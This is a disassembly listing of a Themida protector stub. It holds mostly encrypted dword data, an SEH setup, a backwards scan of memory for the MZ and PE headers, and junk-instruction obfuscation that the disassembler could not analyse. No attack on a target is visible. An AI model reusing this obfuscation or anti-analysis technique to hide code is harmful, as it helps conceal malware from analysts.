dd 2000000h, 0B1D28087h, 0A8DA9290h, 0A9BE38FFh, 0D051F969h
dd 50F707DDh, 110C30h, 0C1011144h, 443010E8h, 4C000211h
dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h
dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
dd 0EBE775h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 160424h, 51410000h, 9D141AC3h, 4830Fh, 0BB660000h, 850F99D3h
dd 3, 83FB8B66h, 0A80939BDh, 850F0307h, 471h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 7DC35343h, 8B1EBCDCh
dd 0BF0F023Dh, 0D9BD8BD9h, 8307A827h, 0ABBB2BBDh, 840F0007h
dd 439h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Bh, 0BAC35242h, 1F202785h, 6695F1B6h, 50525EBFh, 2BB5FF5Bh
dd 0FF07ABBBh, 0A8247595h, 599D2B07h, 8B07A824h, 0ABBB1FB5h
dd 8BF98A07h, 106C7D9h, 6A000100h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 15042444h, 40000000h, 8CA3C350h
dd 97B2E381h, 0F96552Ch, 282h, 50F88B00h, 6A96DF8Bh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
dd 0ACBAC355h, 0E8692826h, 8, 4BDE59EAh, 0CBA69315h, 2AAC14BFh
dd 8D315B17h, 7A83311h, 0BB2BB5FFh, 6A07ABh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 92B15C3h
dd 34F7B93Eh, 66C8A42Fh, 0FFF5F88Bh, 0A823E595h, 6DBD2B07h
dd 8B07A828h, 0ABBB1FB5h, 50006A07h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1C04h, 0C3504000h, 377088DAh
dd 757CF1FFh, 0F88B6673h, 2941858Bh, 9D8B07A8h, 7A81BD9h
dd 0C48689h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1C0424h, 55450000h, 0F8051CC3h, 6E0BEB1h, 0BF0FC7C8h
dd 10E9DFh, 0C1AC0000h, 0AC5723E0h, 15C8944Dh, 57B3C8F2h
dd 8D29D2FCh, 7A82235h, 1731958Bh, 0C28307A8h, 56006A04h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 4BB669BCh, 8D89AEADh, 7A819E5h, 6A205089h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h
dd 45000000h, 0C177C355h, 2B677739h, 0BF667373h, 858DAC16h
dd 7ABCFC1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 18h, 0C6C35141h, 0F82122D4h, 0F7814FBFh, 0B886895Eh
dd 6A000000h, 4D8D3100h, 0FF07A81Dh, 0ABBB2BB5h, 0DEB70F07h
dd 14E595FFh, 6A07A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 160424h, 57470000h, 2C9ED9C3h, 22519D89h, 8D8907A8h
dd 7A82FE1h, 7E996h, 747E0000h, 14A014FFh, 6A9650A3h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
dd 8907C351h, 0A82649BDh, 0FFF88B07h, 0ABBB2BB5h, 51006A07h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
dd 41CB3B16h, 0BC59D03h, 95FF07A8h, 7A81D09h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 79C35242h, 0E9E50E98h
dd 10h, 0D8B31B91h, 0E8EEDAD0h, 77C700ABh, 73B01335h, 1DFDBD83h
dd 0F0007A8h, 3184h, 49BD8B00h, 5007A803h, 3143BF66h, 6A243489h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h
dd 45000000h, 0EEB3C355h, 0EC99D89h, 0B5FF07A8h, 7ABBB2Bh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 6EC35646h
dd 9D29C4B0h, 7A800E1h, 0E8EF8166h, 0D595FFE6h, 6A07A810h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h
dd 45000000h, 5538C355h, 2BB5FFCBh, 6A07ABBBh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
dd 2349C356h, 0B501554Eh, 2A6AA34Fh, 870Fh, 95FF0000h
dd 7A80B39h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 14h, 15C35040h, 0B0CF8166h, 0F5BD8378h, 207A831h, 59840Fh
dd 0C7810000h, 5D59A3B2h, 2981858Bh, 6A07A8h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 180424h, 53430000h, 6739D1C3h
dd 11E8AD4Dh, 3C000000h, 0C5D26CFFh, 0DBED9E28h, 7EED3E5h
dd 0C060914Eh, 0D8B9F381h, 0C65B61CAh, 66520000h, 0F256DF81h
dd 73CF815Bh, 0C73EF4A5h, 0A821C985h, 7, 0A1958900h, 8907A81Ch
dd 0A82FE1BDh, 0F2C5E907h, 6AFFFFh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1C0424h, 50400000h, 328CFAC3h
dd 0B54274E3h, 8E82C42h, 0
; ---------------------------------------------------------------------------
pop ds
push esi
fsubp st(2), st
xchg eax, esi
fidiv dword ptr [edi+ebx*2+60h]
stc
mov [ebp+7A82D71h], esi
popa
mov eax, ecx
mov [ebp+7A80BCDh], eax
mov edx, 0F0115000h
sub edx, 0F0000000h
add edx, 14h
mov [ebp+7A80EF9h], edx
sub edx, 14h
lea eax, [ebp+7AD46FEh]
push eax
push large dword ptr fs:0
mov large fs:0, esp
call $+5
pop eax
sub eax, edx
and eax, 0FFFFF000h
loc_5D5AFA: ; CODE XREF: Themida_:005D5B1Cj
cmp word ptr [eax], 5A4Dh
jnz loc_5D5B17
movzx edx, word ptr [eax+3Ch]
add edx, eax
cmp dword ptr [edx], 4550h
jz loc_5D5B21
loc_5D5B17: ; CODE XREF: Themida_:005D5AFFj
sub eax, 1000h
jmp loc_5D5AFA
; ---------------------------------------------------------------------------
loc_5D5B21: ; CODE XREF: Themida_:005D5B11j
mov ecx, eax
mov [ebp+7A82681h], eax
add eax, [eax+3Ch]
movzx edx, word ptr [eax+6]
mov [ebp+7A8292Dh], edx
mov edx, [eax+50h]
mov [ebp+7A8339Dh], edx
add eax, 0F8h
mov edx, [eax+0Ch]
add edx, ecx
mov [ebp+7A8229Dh], edx
add edx, [eax+8]
mov [ebp+7A82771h], edx
pop large dword ptr fs:0
add esp, 4
jmp loc_5D5B7A
; ---------------------------------------------------------------------------
push ecx
mov ecx, [esp+10h]
sub dword ptr [ecx+0B0h], 1000h
pop ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_5D5B7A: ; CODE XREF: Themida_:005D5B62j
cmp dword ptr [ebp+7A807CDh], 0
jz loc_5D5BAB
mov byte ptr [ebp+7A80619h], 47h
push 0D49AA7D2h
push dword ptr [ebp+7A80CE1h]
lea eax, [ebp+7AB781Ah]
call eax
push 0
call eax
mov [ebp+7A8108Dh], eax
loc_5D5BAB: ; CODE XREF: Themida_:005D5B81j
mov edx, ebx
call near ptr loc_5D5BB5+2
mov cl, 36h
pop esp
loc_5D5BB5: ; CODE XREF: Themida_:005D5BADp
sbb eax, 5EB4B7F1h
ja loc_5D5BC3
mov di, ax
loc_5D5BC3: ; CODE XREF: Themida_:005D5BBAj
add esi, 6E21h
movsx edi, ax
mov ecx, 79D16777h
sub ecx, 79D14C2Dh
call sub_5D5BE9
sbb byte ptr [eax+76h], 4Dh
mov byte ptr [ecx-3726D5BFh], 20h
imul byte ptr [ebx]
; =============== S U B R O U T I N E =======================================
sub_5D5BE9 proc near ; CODE XREF: Themida_:005D5BD7p
call sub_5D5C00
or eax, [ebp+45h]
fxch7 st(3)
aad 0CDh
push esp
push ecx
movsd
cdq
js short near ptr loc_5D5C5D+1
add al, 0FEh
mov ah, 97h
insb
sub_5D5BE9 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5D5C00 proc near ; CODE XREF: sub_5D5BE9p
movzx edx, di
pop ebx
pop edi
mov eax, [esi]
pusha
jl near ptr loc_5D5C18+2
call near ptr loc_5D5C18+1
pop dword ptr [edx+ebp*2]
db 65h
wait
loc_5D5C18: ; CODE XREF: sub_5D5C00+Ep
; sub_5D5C00+8j
adc eax, 35BF6659h
sub_5D5C00 endp ; sp-analysis failed
test [ecx-7Fh], esp
call near ptr 74A8087Eh
movsx edi, di
add eax, 1F39F450h
jnb loc_5D5C39
sbb bx, 70FFh
loc_5D5C39: ; CODE XREF: Themida_:005D5C2Ej
sub eax, 1BA0B22h
pusha
jmp loc_5D5C54
; ---------------------------------------------------------------------------
db 2Dh, 0A5h, 0ADh
dd 1B6AFAD8h, 0F2978AD2h
; ---------------------------------------------------------------------------
retn 0EAA1h ; CODE XREF: Themida_:005D5C94j
; ---------------------------------------------------------------------------
db 6Fh
; ---------------------------------------------------------------------------
loc_5D5C54: ; CODE XREF: Themida_:005D5C40j
adc eax, 2E041B84h
popa
mov [esi], eax
loc_5D5C5D: ; CODE XREF: sub_5D5BE9+10j
sub esi, 4
ja loc_5D5C68
mov bl, 35h
loc_5D5C68: ; CODE XREF: Themida_:005D5C60j
dec ecx
jnz loc_5D5C89
jz loc_5D5C7B
add ebx, 8BBA0F6h
loc_5D5C7B: ; CODE XREF: Themida_:005D5C6Fj
jmp loc_5D5CAF
; ---------------------------------------------------------------------------
dd 0DCB67081h, 98A1E04Fh
db 0E6h
; ---------------------------------------------------------------------------
loc_5D5C89: ; CODE XREF: Themida_:005D5C69j
call near ptr loc_5D5C9B+3
sub [ebx+0B75A47Ah], edx
jge short near ptr locret_5D5C50+1
cdq
push es
db 67h
lock out dx, al
loc_5D5C9B: ; CODE XREF: Themida_:loc_5D5C89p
or dl, es:[edi+ecx-41h]
fstp dword ptr [edi-17h]
pop esi
; ---------------------------------------------------------------------------
dd 8FFFFFFh, 0F23D3B50h
db 0A0h, 2, 0C2h
; ---------------------------------------------------------------------------
loc_5D5CAF: ; CODE XREF: Themida_:loc_5D5C7Bj
lea ecx, [ebp+7AD4917h]
push 0
push eax
call sub_5D5CC0
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D5CC0 proc near ; CODE XREF: Themida_:005D5CB8p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 18h
inc eax
push eax
retn
sub_5D5CC0 endp
; ---------------------------------------------------------------------------
dd 7F1EC877h, 359D29C1h, 8907A830h, 0A817318Dh, 56006A07h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 0BB66DB64h, 85C7C345h, 7A80A59h, 6F28h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 24C35646h, 0FC587BDh
dd 683h, 7DBD8900h, 0C707A815h, 0A8093985h, 7, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 0C1833724h, 0F9F8BE0Dh, 1479B5FFh, 850307A8h, 7A81E6Dh
dd 1A9995FFh, 8B6607A8h, 0FF006AFEh, 0A80D2195h, 0EBC08B07h
dd 0F92BE56Ch, 7FF55973h, 3220E41Eh, 62A0122Fh, 481EBBDCh
dd 24E29B3Ch, 620020A2h, 0EDC35C7Ch, 828322AEh, 1343C161h
dd 80CB6C66h, 14EB8576h, 38B29D4Ch, 77DEAD7Bh, 82333372h
dd 97EF7731h, 97B5D9C1h, 0DBCF5F87h, 875E5B1Fh, 74CF122Ch
dd 6DF4731Eh, 25277018h, 84467F6Dh, 0A15F59EDh, 0D4E15D5Dh
dd 0B56EAFE7h, 0C5458B06h, 6C8D8D81h, 6607AD4Ah, 0BF77BCBEh
dd 62F12E76h, 17318D89h, 8D8907A8h, 7A809D1h, 0A5985C7h
dd 656807A8h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1A0424h, 55450000h, 0D2E350C3h, 0D338DA82h, 0EEA8166h
dd 3985C737h, 7A809h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1A042444h, 42000000h, 0B94CC352h, 61257305h
dd 14E85342h, 0
dd 3E64669Bh, 216CC4EEh, 0C4BDFBA2h, 0FCA92B75h, 667ECF3Ch
dd 5F5FC78Bh, 0DE59D8Bh, 9D2907A8h, 7A81CA9h, 8B1B5FFh
dd 6A07A8h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
dd 56460000h, 0BBF865C3h, 18437A50h, 1A9995FFh, 0B52B07A8h
dd 7A80621h, 6B98D31h, 6A07A8h, 0D2195FFh, 0C08B07A8h
dd 78AE1EEBh, 162E065Eh, 8DAF1CB0h, 0F0E81D7Dh, 0BA65E319h
dd 0C4F3C09Dh, 5C9C8E53h, 754B7EE3h, 4B858D8Dh, 6A07ADh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 1D4593C3h, 14E99D8Bh, 8D8907A8h, 7A81731h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 4BC35242h, 0C61C3944h
dd 57F4809Ah, 0A5985C7h, 67F407A8h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 150424h, 53430000h, 8B14EDC3h
dd 0A81A0185h, 3985C707h, 7A809h, 0F000000h, 688h, 0A9958900h
dd 0FF07A81Ch, 0A81479B5h, 52006A07h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 18CABF01h
dd 95FF04FDh, 7A81A99h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Dh, 12C35646h, 0C23E7A8h, 3CE1B55Bh, 0ED8589E2h
dd 6A07A831h, 2195FF00h, 8B07A80Dh, 0E46CEBC0h, 1541FA49h
dd 38198781h, 88F9BE88h, 7C28C3A9h, 0EF97ED42h, 295335B7h
dd 0DF32F05Bh, 0A7E2441Eh, 0C44B9F34h, 30CCE76Bh, 1E502580h
dd 0DEAC3277h, 4BE35760h, 0A7D64958h, 4CAD028h, 0E50B9D47h
dd 639FE03h, 0B1BD9607h, 0DF793EC9h, 4D96D75Fh, 0CB137666h
dd 9923A279h, 0B95EF55Eh, 2FB300D7h, 2C6762EDh, 0F32F99F2h
dd 8DA7D505h, 0AD4CB88Dh, 50006A07h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1804h, 0C3504000h, 64E622Ah, 9D93BA9Eh
dd 0B8662219h, 8D89E3F6h, 7A81731h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ch, 79C35343h, 9D5F2549h, 0E568F153h
dd 0C7C1BF0Fh, 0A80A5985h, 6FF407h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1404h, 0C3514100h, 298509B9h
dd 0C707A804h, 0A8093985h, 7, 3F0DBA00h, 85311D44h, 7A82E6Dh
dd 5FDB5FFh, 9D8B07A8h, 7A81521h, 1A9995FFh, 9D3107A8h
dd 7A82769h, 28F9B589h, 6A07A8h, 0D2195FFh, 0C08B07A8h
dd 0B17D5BEBh, 86FE4689h, 0C6F273FCh, 0CCCEDB80h, 0B25B43C9h
dd 4432DF36h, 52C62406h, 95F5CF99h, 0AFB16B2Eh, 61EDFC08h
dd 0B4A57A7Ah, 0A88248D4h, 1894DDF7h, 0D6D36D31h, 5FA69FB9h
dd 24A71294h, 0C2E97E91h, 9DAA44A6h, 0DECE9DB0h, 0CD064FD2h
dd 47105587h, 3AE37819h, 0AD59BB3Dh, 712ADE84h, 4B46D4D4h
dd 557F01DCh, 525CD4C8h, 0B336398h, 2633A9A9h, 265AF198h
dd 202AEF5Eh, 4E603230h, 0A5E4FFB4h, 2AD2F867h, 0A3BEA130h
dd 21982B82h, 0A3BA7967h, 219BE715h, 21FED71Bh, 29333230h
dd 2633831Dh, 0EB6C098h, 76340BD5h, 6B29D615h, 0D963AE35h
dd 8E00590Dh, 2664839Fh, 23593598h, 6B191F15h, 0AB634A35h
dd 8B7EBC1Dh, 0B3CC039Fh, 219BB3F9h, 0A23C1493h, 26336AA1h
dd 6B19B015h, 0CE639D35h, 26334DAAh, 0A3BEF6D8h, 219E1EA8h
dd 0CB624C8h, 763479D5h, 972FF67h, 0E2B03230h, 0CB61794h
dd 7634E0D5h, 6B292315h, 0D9635435h, 8E00240Dh, 26513D9Fh
dd 0AD666A98h, 74646474h, 2E4E11CEh, 24DA8DABh, 6633A698h
dd 260CD3DFh, 0D9C62C97h, 0EF002B67h, 0CF3B1713h, 263335B2h
dd 31B948ABh, 0AD03A718h, 0AD63E868h, 2C88005Ah, 0CF33A998h
dd 2633D49Bh, 0A57D896Fh, 0A13C3566h, 0D9CC656Ch, 7EFB4EC3h
dd 0E638EEDFh, 0D9FDD697h, 0E7B85667h, 7F6C8EC6h, 2637A851h
dd 6B2B8815h, 0ABBE9D35h, 219E03D5h, 9320h, 0E7FC7800h
dd 7310271h, 0C783C8D0h, 850F4904h, 0FFFFFFF2h, 4E4DB58Dh
dd 8D8D07ADh, 7AD4E6Ch, 0E983CF2Bh, 0E9C88B05h, 0Eh, 6B15AE24h
dd 2 dup(0)
dd 50E90000h, 41000005h, 89728790h, 0CEB7CCCBh, 0FF80D0Ah
dd 4E374C4Bh, 6573888Fh, 85924164h, 0C7D08770h, 0B0CC9B2h
dd 4A4D0DF6h, 70B65535h, 0CBAC223Ah, 0C7F8A640h, 0B8350017h
dd 0B005F2E5h, 0D5B3A477h, 0D359709Fh, 16C4D382h, 0E7D0F70Fh
dd 0D8552037h, 0C9461106h, 0ED410C0Bh, 26F887F2h, 66331C31h
dd 0A6735C71h, 0AE69E6B1h, 0B663DEA9h, 0F81FBC4Bh, 3F58FAE3h
dd 5D7A1952h, 0D0ADC592h, 59700D46h, 0E550E7D3h, 0A8017139h
dd 67C81Bh, 8BAD0000h, 0BCBBF3F3h, 1F051D66h, 350017C7h
dd 597073ABh, 99D24DD3h, 0A5C0D8FFh, 1C48E3Ah, 13A1BA8h
dd 0E2A4255h, 1, 215C70Ch, 4D1ABA37h, 0F5C28D8Ah, 0CE8C09D4h
dd 935E7919h, 2F504716h, 10EF430Eh, 0F81007D7h, 31E372DDh
dd 0D30C1126h, 0A1B66601h, 6338B580h, 0BBDCA974h, 491EC0A3h
dd 54698A8Dh, 314C768h, 797D9F38h, 0F0A84113h, 4E0EF109h
dd 0A0B97E49h, 0E0F7A635h, 0C88DC6CBh, 1F3704CFh, 9CD9A3Ch
dd 5576430Eh, 97CD1368h, 9DD3587Fh, 2D63A996h, 33D3587Fh
dd 0BA37142Ch, 8E89491Eh, 819646C3h, 0A7C8E9B6h, 137E97DCh
dd 0A70E5367h, 68AE031Bh, 0D3587532h, 8C574015h, 0A27111BFh
dd 419D6A61h, 4E0CDDFEh, 0B9153149h, 0FA000000h, 3A0512C1h
dd 33FE19BDh, 472D4566h, 380314C7h, 0A4B3669Fh, 0E8EFA98Ch
dd 0DAFDA01Dh, 22C5920Fh, 0CA976275h, 0D247DEA9h, 0E5E08867h
dd 7F28EB7Ah, 2BE9BADDh, 0DF60B2Ch, 5B9CB04Eh, 0C1281064h
dd 0BFE00116h, 0B4A377F4h, 208BA4E9h, 0A7454E74h, 88F31Bh
dd 0ABF10000h, 70DA1056h, 0D9E0D359h, 7070A6ECh, 6F76D359h
dd 0EAA17457h, 59706EA4h, 4C6D74D3h, 6CC6E881h, 324A3492h
dd 0EBB093ABh, 64AAFFECh, 0D358C12Eh, 38152D34h, 2FFA1DBBh
dd 26F1E6B2h, 0C111478Dh, 1017D358h, 9473DEF7h, 0DC902F7h
dd 7C9DBA5Ah, 0C113498Fh, 1219D358h, 0E574DFFAh, 200C2136h
dd 370215C7h, 0A4B3659Eh, 70639C8Ch, 0A63DD359h, 1DB8F3Bh
dd 0B1E1BA8h, 3000000h, 643268AEh, 3138D359h, 11C73319h
dd 1CBE3B06h, 3FDE894Bh, 5F2CF718h, 4BF8733Eh, 908751E0h
dd 0F744D17Bh, 0BC7480ACh, 0FFC1DF2h, 4C1700D6h, 2268677Fh
dd 0DB009541h, 0F8754047h, 0EF443126h, 9573A9h, 0CED979DBh
dd 4D8D9681h, 8EB5CDEEh, 8B8C5089h, 0C9CE9073h, 0E4F3A3DCh
dd 2D65EFCCh, 44DB00DCh, 9939C833h, 4264697Eh, 28321BBh
dd 0C3926338h, 243C09D4h, 0BB869141h, 0B07B9C3Eh, 0D867D2EBh
dd 0F6FC1106h, 0E3F0ABBCh, 15285h, 64316A00h, 0C3DBA873h
dd 0A372ABDDh, 1FF89CB4h, 0C768FF1Eh, 2849E8E8h, 0A500F53Bh
dd 72C7DB00h, 0A4F62Ch, 3BF5FCDBh, 82B1DBE9h, 0BCBE359h
dd 67A03904h, 0AC8FA7B0h, 0EFD8EDEAh, 0E05D282Fh, 894E193Eh
dd 0A4760570h, 0D2989EB3h, 27E3F089h, 53h, 0A072AB25h
dd 1EFB9FB7h, 5274C9B6h, 0ECB0EDFFh, 0D8BA31EBh, 8F884A1Bh
dd 67318777h, 0D6F85359h, 18BA2E09h, 0AD6734FFh, 0C24ACC3h
dd 0F07A454Ch, 53593BBAh, 0F8A30E83h, 3B275DA3h, 262D5359h
dd 25E96A0Eh, 3B9CF238h, 9BA2D359h, 0AD4286h, 6840000h
dd 92D8C511h, 0DB018C3Dh, 0F4713C43h, 37203522h, 1BA57067h
dd 0DB018DE0h, 0D07BE6F7h, 0BAD2C597h, 0BB6007D7h, 8454D19Ch
dd 3C517293h, 64518592h, 0E5101D42h, 627A0719h, 2D50E63h
dd 3D43B7Ch, 0D0F1C590h, 0A301C8B8h, 7E2AFh, 1479C35h
dd 0E2AFA3CBh, 0AFC8E7C5h, 3B16D50h, 5101E4FCh, 0B2D3C496h
dd 0CBCC8CC5h, 3E1B3300h, 0EB1032C3h, 0DAFD9CDAh, 59B2A820h
dd 657D9EB9h, 868FDF4Ah, 0ED9FE9Eh, 534E8741h, 5279F116h
dd 4E0B4431h, 56017E49h, 88A97641h, 642B7170h, 6AEA5D56h
dd 561B5197h, 1A21EA5Dh, 6F8E4F9h, 9FD8C511h, 4411DCFBh
dd 20E72D2Ch, 26DB06BFh, 5BF9321Fh, 8CA4713Ch, 7BC116AFh
dd 0DB06BF45h, 0D1C6944Bh, 0E5B598B0h, 9FD8DDF2h, 4714DFF8h
dd 0BFDE145Ah, 0DDE4DB06h, 2730E2C5h, 699FE53Ah, 6FDB06BFh
dd 0E9735068h, 47BFB9B2h, 0C958C3BEh, 10F90E09h, 17E494Eh
dd 0D0C79255h, 2A173805h, 6B3621F1h, 2EA9869Eh, 0D7871681h
dd 0FB9AD3C0h, 0A26D6A2Ch, 759CB4D5h, 2CDCA8Ch, 32Ah, 3EDC6C00h
dd 360116C7h, 33FE19B9h, 2BF6E1B6h, 21ECEBAEh, 1BE6F1A4h
dd 0DD8FF9Eh, 2CDCA90h, 0F9C4D385h, 0F4BFD87Ch, 0E689563Ch
dd 4C681h, 0EE830000h, 24348704h, 240C895Ch, 0ABA68h, 243C8900h
dd 64F268h, 24148900h, 22CEBB53h, 0E3C14EB6h, 7EBC105h
dd 2CAEC381h, 0F3815684h, 5F9CFBE7h, 1C8BDF89h, 4C48324h
dd 24148B54h, 4C481h, 0BB530000h, 8, 3B89D301h, 81241C8Bh
dd 4C4h, 24148B00h, 81E28952h, 4C2h, 4C28100h, 87000000h
dd 0FF5C2414h, 815F2434h, 4C4h, 2BE5E900h, 429DFFFBh, 5F962984h
dd 0B8283A04h, 7AD5348h, 0E0FFC503h, 3DE430B2h, 51C1414Eh
dd 4FF63556h, 6FB047Fh, 67AB9FC9h, 8438CCh, 36384F52h
dd 4B5DD837h, 6EB58FF1h, 27784824h, 59570E2Bh, 733DC41Eh
dd 2FD82BF8h, 57CEC1E0h, 474769B0h, 40F1AFE6h, 32F34A61h
dd 7CC5813Dh, 5E8h, 7AC70D00h, 81661360h, 5A087DD0h, 0BE8h
dd 3E344800h, 1B2157BEh, 7B62B963h, 0C28158F9h, 74F0h
dd 14E850h, 0FD060000h, 68B15A5Ah, 39DDBAA5h, 0FEC251DBh
dd 86D6B6EAh, 8166AD84h, 5EB085C8h, 685Eh, 0BF0F0000h
dd 0F0815FC0h, 19F75495h, 0F3A0C8Bh, 588h, 4CD5B800h, 0F1813697h
dd 5AF2B1Dh, 81D88B66h, 4EB2C2F1h, 0C181F547h, 11F26D52h
dd 0BE519BB3h, 1285F588h, 833A048Fh, 1EB004EFh, 8BB4FF81h
dd 850FFFFFh, 0FFFFFFC0h, 10E9h, 8ECAD200h, 0E575A6B5h
dd 6A1F64CDh, 6563270Eh, 6B6D783Ah, 0B3E1823Ch, 36CE0633h
dd 0B44F2C0Eh, 0BCB041B8h, 33BC3B84h, 0E64DDF6h, 0B44F17CAh
dd 30EE6D33h, 1BE1098Eh, 0AA930634h, 736C5063h, 0B3E3828Bh
dd 36624933h, 3EE0C816h, 195713AEh, 0E834E734h, 0B65A8F6Bh
dd 0B3E0AE35h, 0E0B71447h, 0B3E3828Bh, 36624933h, 3EE0C816h
dd 194A22AEh, 0E834E734h, 0E5E7666Bh, 0B3E705DBh, 70B92333h
dd 9793086Dh, 97A34137h, 0B3E77D37h, 70B17633h, 32C73125h
dd 503381D7h, 3281F045h, 9A597CEAh, 1BFFF8B6h, 0E5E7AA34h
dd 0B3E763DBh, 70B91033h, 9793916Dh, 97A38D37h, 0B3E71B37h
dd 70B14533h, 0C25A579Ch, 456F2053h, 0A70E6FF0h, 21E73033h
dd 3B7C6A1Ch, 0FF8AEC98h, 0B89CA8D7h, 0B0742378h, 383C6DFFh
dd 325AC9F3h, 0D5E0C823h, 3281E8BFh, 1B11E7E9h, 9C630337h
dd 0BCE70630h, 0B3E705BAh, 0AE7A0833h, 0D5E0682Bh, 0E64AAB8h
dd 0B44F1AE2h, 0A7631733h, 46E70C33h, 0B3E40BDAh, 0E6E6333h
dd 0B44FA522h, 454C2BB2h, 0D8660E1h, 0B1E71733h, 5BB11859h
dd 0B3E70C30h, 0ED245813h, 0B7C377BAh, 0B7C3C5B2h, 0B3E7C025h
dd 0CE243675h, 3E1BEF15h, 1877C3B6h, 0C2520D34h, 4CE0AE37h
dd 0E3E769E3h, 0B3E782DBh, 70BFE033h, 97A3E96Bh, 97A3B137h
dd 0B3E70037h, 70B74C33h, 1FF890DAh, 0D27A88E6h, 36E0293Fh
dd 1163CFF3h, 0D5E76033h, 8B66FFB8h, 48667E64h, 0B3F9893Ch
dd 6D60633h, 0B44F194Eh, 0A41614B8h, 3281C79Bh, 0B1E5644Bh
dd 0B15CB43Ch, 266C1833h, 0B44F0BDEh, 2FDF8755h
dd 0D9620C53h, 0D9E78133h, 0B00F9133h, 93E76033h, 3ABEF36Ah
dd 32E33C7Fh, 0AEE32877h, 0F2E70633h, 0FFD5C062h, 0BE9E2D70h
dd 0CD8F24D5h, 99D2F5BAh, 0CB67379Bh, 36E8F031h, 0B3E70C06h
dd 90529332h, 3281049Bh, 18E7874Bh, 0B3C4453Ch, 3AE86033h
dd 0B3E73033h, 926A95B8h, 0E10E0B9Bh, 0BCE70631h, 0B3E70FBDh
dd 0B56F8E33h, 0BAE7C033h, 1BE2C98Eh, 0B2E78E34h, 366A5E32h
dd 0B44C9CE8h, 5BB50659h, 0B3E70330h, 0E924DB13h, 0B7C394BAh
dd 0B7C324B2h, 0B3E73028h, 0C7244A71h, 9FA5B971h, 3A14E28Ch
dd 1BFF1EA6h, 0FF280134h, 446710CCh, 0BC27E54Bh, 0B3E689B7h
dd 0E0E77233h, 0B3E70FDBh, 70BC2633h, 97BB8A68h, 97A30037h
dd 0B3E7DA37h, 70B42333h, 6A5FFE7Ch, 32DD75DDh, 0B1DA6A0Bh
dd 92620931h, 5AE70333h, 0B3E7813Ch, 592BA1F4h, 0B2CDB9DFh
dd 6C32FD8Fh, 32687FA8h, 8E810A4Bh, 37E87C6Ch, 0B3E7029Eh
dd 2FDF0055h, 0CB62CF53h, 33E76033h, 0CB67D7F0h, 36E8F031h
dd 0B3E70C58h, 5BB20659h, 0B3E70330h, 0EE24DC13h, 0B7C3ACBAh
dd 0B7C324B2h, 0B3E73028h, 1C244D76h, 0E5950CA3h, 0E3068B78h
dd 0B7769EBAh, 0D5BD869Bh, 0B3E1B8B2h, 87626FF3h, 0B8E73033h
dd 1BE215A6h, 0B2B4E534h, 0B38D0633h, 0B3E4EB62h, 0EAC78133h
dd 0FF6E99F0h, 0F7666417h, 0B3FF3417h, 0E2A61833h, 0EB180F0h
dd 4E854C2h, 0D25232C9h, 0DE02934h, 0CDE6C133h, 5BB26059h
dd 0B3E73030h, 0EE244513h, 0B7C360BAh, 0B7C342B2h, 0B3E70327h
dd 0EA24D476h, 233C45BEh, 0CE86798h, 0D537CFE1h, 7DB9DBB2h
dd 37E8CCB6h, 0B3E7069Dh, 5BB60359h, 0B3E78130h, 0EA249913h
dd 0B7C32CBAh, 0B7C374B2h, 0B3E71828h, 49245D72h, 0C9CCD6DCh
dd 3363E33Fh, 36E8690Bh, 0B3E7C00Dh, 5BB06059h, 0B3E73030h
dd 0EC244713h, 0B7C370BAh, 0B7C342B2h, 0B3E70324h, 0B124D674h
dd 33EF6A92h, 0BC94654Bh, 0B3E725B6h, 5B0C9833h, 0E0E074B3h
dd 0B368823Ch, 0B0B50333h, 1BFA30AEh, 32819F34h, 0BCE2EF0Bh
